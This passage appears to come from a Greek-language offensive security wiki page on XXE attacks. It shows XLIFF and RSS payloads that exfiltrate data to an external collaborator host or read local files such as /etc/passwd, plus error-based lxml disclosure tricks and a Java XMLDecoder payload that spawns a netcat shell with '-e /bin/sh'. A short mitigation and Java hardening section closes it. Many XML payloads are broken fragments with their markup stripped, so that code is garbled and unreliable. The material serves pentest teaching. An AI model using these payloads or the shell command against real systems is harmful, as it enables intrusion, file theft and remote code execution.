```xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Type: application/x-xliff+xml %remote; ]> ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` Ωστόσο, αυτό το αίτημα προκαλεί ένα εσωτερικό σφάλμα διακομιστή, αναφέροντας συγκεκριμένα ένα πρόβλημα με τις δηλώσεις markup: ```json { "status": 500, "error": "Internal Server Error", "message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed." } ``` Παρά το σφάλμα, καταγράφεται μια επιτυχία στο Burp Collaborator, υποδεικνύοντας κάποιο επίπεδο αλληλεπίδρασης με την εξωτερική οντότητα. Out of Band Data Exfiltration Για να εξάγουμε δεδομένα, αποστέλλεται ένα τροποποιημένο αίτημα: ``` ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Type: application/x-xliff+xml %remote; ]> ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` Αυτή η προσέγγιση αποκαλύπτει ότι ο User Agent υποδεικνύει τη χρήση του Java 1.8. Ένας παρατηρούμενος περιορισμός με αυτή την έκδοση του Java είναι η αδυναμία ανάκτησης αρχείων που περιέχουν χαρακτήρα αλλαγής γραμμής, όπως το /etc/passwd, χρησιμοποιώντας την τεχνική Out of Band. Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο περιορισμός, χρησιμοποιείται μια προσέγγιση Error-Based. Το αρχείο DTD είναι δομημένο ως εξής για να προκαλέσει ένα σφάλμα που περιλαμβάνει δεδομένα από ένα στοχοθετημένο αρχείο: ```xml "> %foo; %xxe; ``` Ο διακομιστής απαντά με ένα σφάλμα, το οποίο αντικατοπτρίζει σημαντικά το ανύπαρκτο αρχείο, υποδεικνύοντας ότι ο διακομιστής προσπαθεί να αποκτήσει πρόσβαση στο καθορισμένο αρχείο: ```javascript {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} ``` Για να συμπεριληφθεί το περιεχόμενο του αρχείου στο μήνυμα σφάλματος, το αρχείο DTD προσαρμόζεται: ```xml "> %foo; %xxe; ``` Αυτή η τροποποίηση οδηγεί στην επιτυχή εξαγωγή του περιεχομένου του αρχείου, καθώς αντικατοπτρίζεται στην έξοδο σφάλματος που αποστέλλεται μέσω HTTP. Αυτό υποδηλώνει μια επιτυχημένη επίθεση XXE (XML External Entity), εκμεταλλευόμενη τόσο τις τεχνικές Out of Band όσο και Error-Based για την εξαγωγή ευαίσθητων πληροφοριών. ## RSS - XEE Έγκυρο XML με μορφή RSS για την εκμετάλλευση μιας ευπάθειας XXE. ### Ping back Απλό HTTP αίτημα στον διακομιστή των επιτιθεμένων ```xml /rssXXE" >]> XXE Test Blog http://example.com/ XXE Test Blog Mon, 02 Feb 2015 00:00:00 -0000 &xxe; http://example.com Test Post author@example.com Mon, 02 Feb 2015 00:00:00 -0000 ``` ### Διαβάστε το αρχείο ```xml ]> The Blog http://example.com/ A blog about things Mon, 03 Feb 2014 00:00:00 -0000 &xxe; http://example.com a post author@example.com Mon, 03 Feb 2014 00:00:00 -0000 ``` ### Διαβάστε τον πηγαίο κώδικα Χρησιμοποιώντας το φίλτρο base64 της PHP ```xml ]> The Blog http://example.com/ A blog about things Mon, 03 Feb 2014 00:00:00 -0000 &xxe; http://example.com a post author@example.com Mon, 03 Feb 2014 00:00:00 -0000 ``` ## Java XMLDecoder XEE to RCE XMLDecoder είναι μια κλάση Java που δημιουργεί αντικείμενα με βάση ένα μήνυμα XML. Εάν ένας κακόβουλος χρήστης μπορέσει να κάνει μια εφαρμογή να χρησιμοποιήσει αυθαίρετα δεδομένα σε μια κλήση στη μέθοδο **readObject**, θα αποκτήσει αμέσως εκτέλεση κώδικα στον διακομιστή. ### Using Runtime().exec() ```xml /usr/bin/nc -l -p 9999 -e /bin/sh ``` ### ProcessBuilder ```xml /usr/bin/nc -l -p 9999 -e /bin/sh ``` ## XXE + WrapWrap + Lightyear + bypasses Ρίξτε μια ματιά σε αυτή την καταπληκτική αναφορά [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/) ## Tools {{#ref}} https://github.com/luisfontes19/xxexploiter {{#endref}} ### Python lxml Parameter-Entity XXE (Error-Based File Disclosure) > [!INFO] > Η βιβλιοθήκη Python **lxml** χρησιμοποιεί **libxml2** από κάτω. Οι εκδόσεις πριν από **lxml 5.4.0 / libxml2 2.13.8** επεκτείνουν ακόμα τις *parameter* οντότητες ακόμη και όταν `resolve_entities=False`, καθιστώντας τις προσβάσιμες όταν η εφαρμογή ενεργοποιεί `load_dtd=True` και/ή `resolve_entities=True`. Αυτό επιτρέπει τα Error-Based XXE payloads που ενσωματώνουν τα περιεχόμενα τοπικών αρχείων στο μήνυμα σφάλματος του αναλυτή. #### 1. Εκμετάλλευση lxml < 5.4.0 1. Εντοπίστε ή δημιουργήστε μια *τοπική* DTD στον δίσκο που ορίζει μια **μη καθορισμένη** παράμετρο οντότητα (π.χ. `%config_hex;`). 2. Δημιουργήστε μια εσωτερική DTD που: * Φορτώνει την τοπική DTD με ``. * Επανακαθορίζει την μη καθορισμένη οντότητα έτσι ώστε να: - Διαβάζει το στοχευμένο αρχείο (``). - Δημιουργεί μια άλλη παράμετρο οντότητα που αναφέρεται σε μια **μη έγκυρη διαδρομή** που περιέχει την τιμή `%flag;` και προκαλεί σφάλμα αναλυτή (`">`). 3. Τέλος, επεκτείνετε `%local_dtd;` και `%eval;` έτσι ώστε ο αναλυτής να συναντήσει `%error;`, να αποτύχει να ανοίξει το `/aaa/` και να διαρρεύσει τη σημαία μέσα στην εξαίρεση που ρίχνεται – η οποία συχνά επιστρέφεται στον χρήστη από την εφαρμογή. ```xml "> %eval;'> %local_dtd; ]> ``` Όταν η εφαρμογή εκτυπώνει την εξαίρεση, η απάντηση περιέχει: ``` Error : failed to load external entity "file:///aaa/FLAG{secret}" ``` > [!TIP] > Αν ο αναλυτής παραπονιέται για τους χαρακτήρες `%`/`&` μέσα στο εσωτερικό υποσύνολο, κωδικοποιήστε τους διπλά (`&#x25;` ⇒ `%`) για να καθυστερήσετε την επέκταση. #### 2. Παράκαμψη της σκληροποίησης lxml 5.4.0 (libxml2 ακόμα ευάλωτο) `lxml` ≥ 5.4.0 απαγορεύει τις οντότητες παραμέτρων *error* όπως η παραπάνω, αλλά **libxml2** εξακολουθεί να επιτρέπει την ενσωμάτωσή τους σε μια *γενική* οντότητα. Το κόλπο είναι να: 1. Διαβάσετε το αρχείο σε μια οντότητα παραμέτρων `%file`. 2. Δηλώσετε μια άλλη οντότητα παραμέτρων που δημιουργεί μια **γενική** οντότητα `c` της οποίας ο προσδιοριστής SYSTEM χρησιμοποιεί ένα *ανύπαρκτο πρωτόκολλο* όπως `meow://%file;`. 3. Τοποθετήστε `&c;` στο σώμα XML. Όταν ο αναλυτής προσπαθεί να αποδεσμεύσει το `meow://…` αποτυγχάνει και αντικατοπτρίζει την πλήρη URI – συμπεριλαμβανομένων των περιεχομένων του αρχείου – στο μήνυμα σφάλματος. ```xml "> '> %a; %b; ]> &c; ``` #### Key takeaways * **Οι οντότητες παραμέτρων** επεκτείνονται ακόμα από το libxml2, ακόμα και όταν το `resolve_entities` θα έπρεπε να μπλοκάρει το XXE. * Μια **μη έγκυρη URI** ή **μη υπάρχον αρχείο** είναι αρκετά για να συγχωνεύσουν ελεγχόμενα δεδομένα στην εκτινασσόμενη εξαίρεση. * Η τεχνική λειτουργεί **χωρίς συνδεσιμότητα εξόδου**, καθιστώντας την ιδανική για περιβάλλοντα με αυστηρά φίλτρα εξόδου. #### Mitigation guidance * Αναβαθμίστε σε **lxml ≥ 5.4.0** και βεβαιωθείτε ότι το υποκείμενο **libxml2** είναι **≥ 2.13.8**. * Απενεργοποιήστε το `load_dtd` και/ή το `resolve_entities` εκτός αν είναι απολύτως απαραίτητο. * Αποφύγετε την επιστροφή ωμών σφαλμάτων αναλυτή στον πελάτη. ### Java DocumentBuilderFactory hardening example Οι εφαρμογές Java συχνά αναλύουν XML χρησιμοποιώντας το `DocumentBuilderFactory`. Από προεπιλογή, το εργοστάσιο **επιτρέπει την επίλυση εξωτερικών οντοτήτων**, καθιστώντας το ευάλωτο σε XXE και SSRF αν δεν έχουν οριστεί επιπλέον σημαίες σκληροποίησης: ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone ``` Παράδειγμα ασφαλούς διαμόρφωσης: ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // Completely forbid any DOCTYPE declarations (best-effort defence) dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Disable expansion of external entities dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // Enable "secure processing" which applies additional limits dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true); // Defensive extras dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); DocumentBuilder builder = dbf.newDocumentBuilder(); ``` Αν η εφαρμογή πρέπει να υποστηρίζει DTDs εσωτερικά, κρατήστε το `disallow-doctype-decl` απενεργοποιημένο αλλά **πάντα** αφήστε τις δύο δυνατότητες `external-*-entities` ρυθμισμένες σε `false`. Ο συνδυασμός αυτός αποτρέπει κλασικά payloads αποκάλυψης αρχείων (`file:///etc/passwd`) καθώς και δικτυακά SSRF vectors (`http://169.254.169.254/…`, πρωτόκολλο `jar:`, κ.λπ.). Μελέτη περίπτωσης από τον πραγματικό κόσμο: **CVE-2025-27136** στον προσομοιωτή Java S3 *LocalS3* χρησιμοποίησε τον ευάλωτο κατασκευαστή που εμφανίζεται παραπάνω. Ένας μη αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να προμηθεύσει ένα κατεργασμένο σώμα XML στο endpoint `CreateBucketConfiguration` και να έχει τον διακομιστή να ενσωματώνει τοπικά αρχεία (για παράδειγμα `/etc/passwd`) στην HTTP απόκριση. ## Αναφορές - [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/) - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf) - [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html) - Εξαγωγή πληροφοριών μέσω HTTP χρησιμοποιώντας δικό σας εξωτερικό DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection) - [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4) - [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9) - [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) - [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7) - [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42) - [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279) {{#include ../banners/hacktricks-training.md}}